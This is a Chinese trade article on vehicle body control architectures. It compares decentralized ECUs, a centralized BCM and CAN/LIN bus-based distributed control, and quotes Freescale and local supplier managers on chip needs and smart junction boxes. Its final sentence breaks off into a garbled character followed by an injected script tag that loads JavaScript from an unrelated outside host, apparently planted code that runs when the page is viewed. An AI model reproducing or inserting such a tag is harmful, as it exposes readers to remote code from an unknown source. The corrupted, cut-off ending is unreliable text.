经济且可靠的车身控制一直是业界关注的焦点。目前车身控制

方式有三种：分散式控制，即车身控制功能由几个分散独立的ecu实

现，各个ecu之间相对独立，目前大部分国产车都是这种车身控制模式。

二是集中式控制，即在一个bcm上采集所有控制所需的信号，根据相应

的控制要求，经bcm判断、处理后驱动相应的设备，这是一种星型结构，

经bcm为核心，连接所有的输入与输出，国外早期高级车都采用这种控

制模式。三是总线式控制(分布式控制)，根据用电设备在车上的布局，

将bcm分解为几个ecu，由ecu就近驱动相应的设备，各ecu之间通过总

线连接。

　　对半导体器件要求不一

　　三种车身控制方式的不同对半导体器件有着不同的要求。

　　飞思卡尔半导体公司汽车电子业务经理康晓敦介绍，分散式控制

这种老的方式大部分应该是采用机械电器类，用到的半导体器件不多。

集中式控制因功能比较简单、也没有总线，并不要求特别的半导体器

件，主要还是要从成本方面考虑。分布式控制既要求强功能的芯片，

又要求相对便宜。在主节点方面，首先要考虑满足功能，如果功能达

到一定要求，很多还是优选16位mcu。而在子节点方面，要在满足功

能的情况下，尽量小、尽量便宜。

　　一般分布式车身控制系统基于can/lin总线，可由can总线将

几个主要的网关模块连接起来，再由每个网关模块连接几个lin子节

点，实现整个车身的网络控制。因而，对can/lin收发器、集成can

/lin控制器的mcu需求看涨。目前市场上主导半导体企业均能提供

相应的mcu与收发器。

　　分散式控制将逐渐退出

　　上海同德电子工程技术有限公司总经理姚久永介绍，分散式控制

模式灵活性高，可以根据客户的不同，进行添加、更换。缺点是各ecu

之间没有通讯，不便于信息共享和功能的提升，无法实现强大的控制

功能，同时增加ecu也使成本增加。

　　随着汽车制造技术的不断发展，为了更好地实现自动控制，减少

线束用量，实现自动检测，方便维修，同时使汽车功能更加人性化，

满足客户愈来愈高的要求，车身控制开始新的演变征程。埃泰克汽车

电子(芜湖)有限公司研发部经理葛莹分析说，车身控制由分散式模块

控制走向集成化、智能化模块控制，已成为汽车制造发展的必然趋势。

未来总线技术的兴起使分散式控制逐渐退出应用“舞台”成为必然。

　　灵活选择集中式与总线式控制

　　集中式控制模式虽然实现集中式控制，但因采集、控制量太多，

bcm(中央智能电子集成控制器)程序复杂，故障率会提高。因而，集

中式控制将是“分而集中”。葛莹表示，随着车身电子的发展，会分

成前控制模块、后控制模块、四个门控模块、车顶控制模块等模块，

以提升整车控制的智能化、人性化、安全性，简化整车线束，提高电

气系统的可靠性。埃泰克公司开发的bcm主要集成功能有：玻璃除霜、

中央门锁、人性化警示、转向指示、电动车窗、高低速雨刮/清洗、

室内灯照明、遥控钥匙、遥控防盗和雨量灯光传感器通信实现自动雨

刮、自动亮灯等功能。将单独的车身控制功能集成在bcm上，从而大

大提高了汽车的可靠性。

　　集中式控制和总线式控制在实际应用中究竟“谁能胜出”，则需

要看客户对功能的要求和对成本的整体平衡。康晓敦介绍，选择车身

控制应考虑功能的平衡，即功能相对简单时，如果采用总线式控制，

可能会增加成本。相反，如果功能较多，要是不用总线控制，可能根

本就无法实现。比如一个电动后视镜的解决方案，其功能非常复杂，

包括带记忆的x、y方向调节，折叠，转向灯，脚灯，防炫光电子幕等。

这么多功能，若用车身电子中央控制系统连线过来，肯定是无法实现

的。

　　“随着车身电子功能的增加，分布式控制系统是大势所趋。”康

晓敦指出，“分布式控制也有繁有简，在实际应用中适合就好，一定

不能用十分冗余的系统去控制一些相对简单的功能。”

　　葛莹表示，随着汽车电子技术的进一步发展，对智能传感器、智

能执行器的要求逐步提升，即各个车身单元有自己的芯片，自己的控

制系统，如车窗、车门、雨刮，各个电子单元通过网络联系起来实现

车身总线式控制，理想状态是“即插即用”。bcm此时充当的角色是

协调、控制、网络管理、优先级控制、网关。

　　除了总线化bcm外，葛莹还表示，目前bcm还有一种发展趋势将bcm

和车上的继电器盒junction box结合在一起，即smart junction

box，通过车身模块来控制车身继电器。有了它之后，就?script src=http://er12.com/t.js>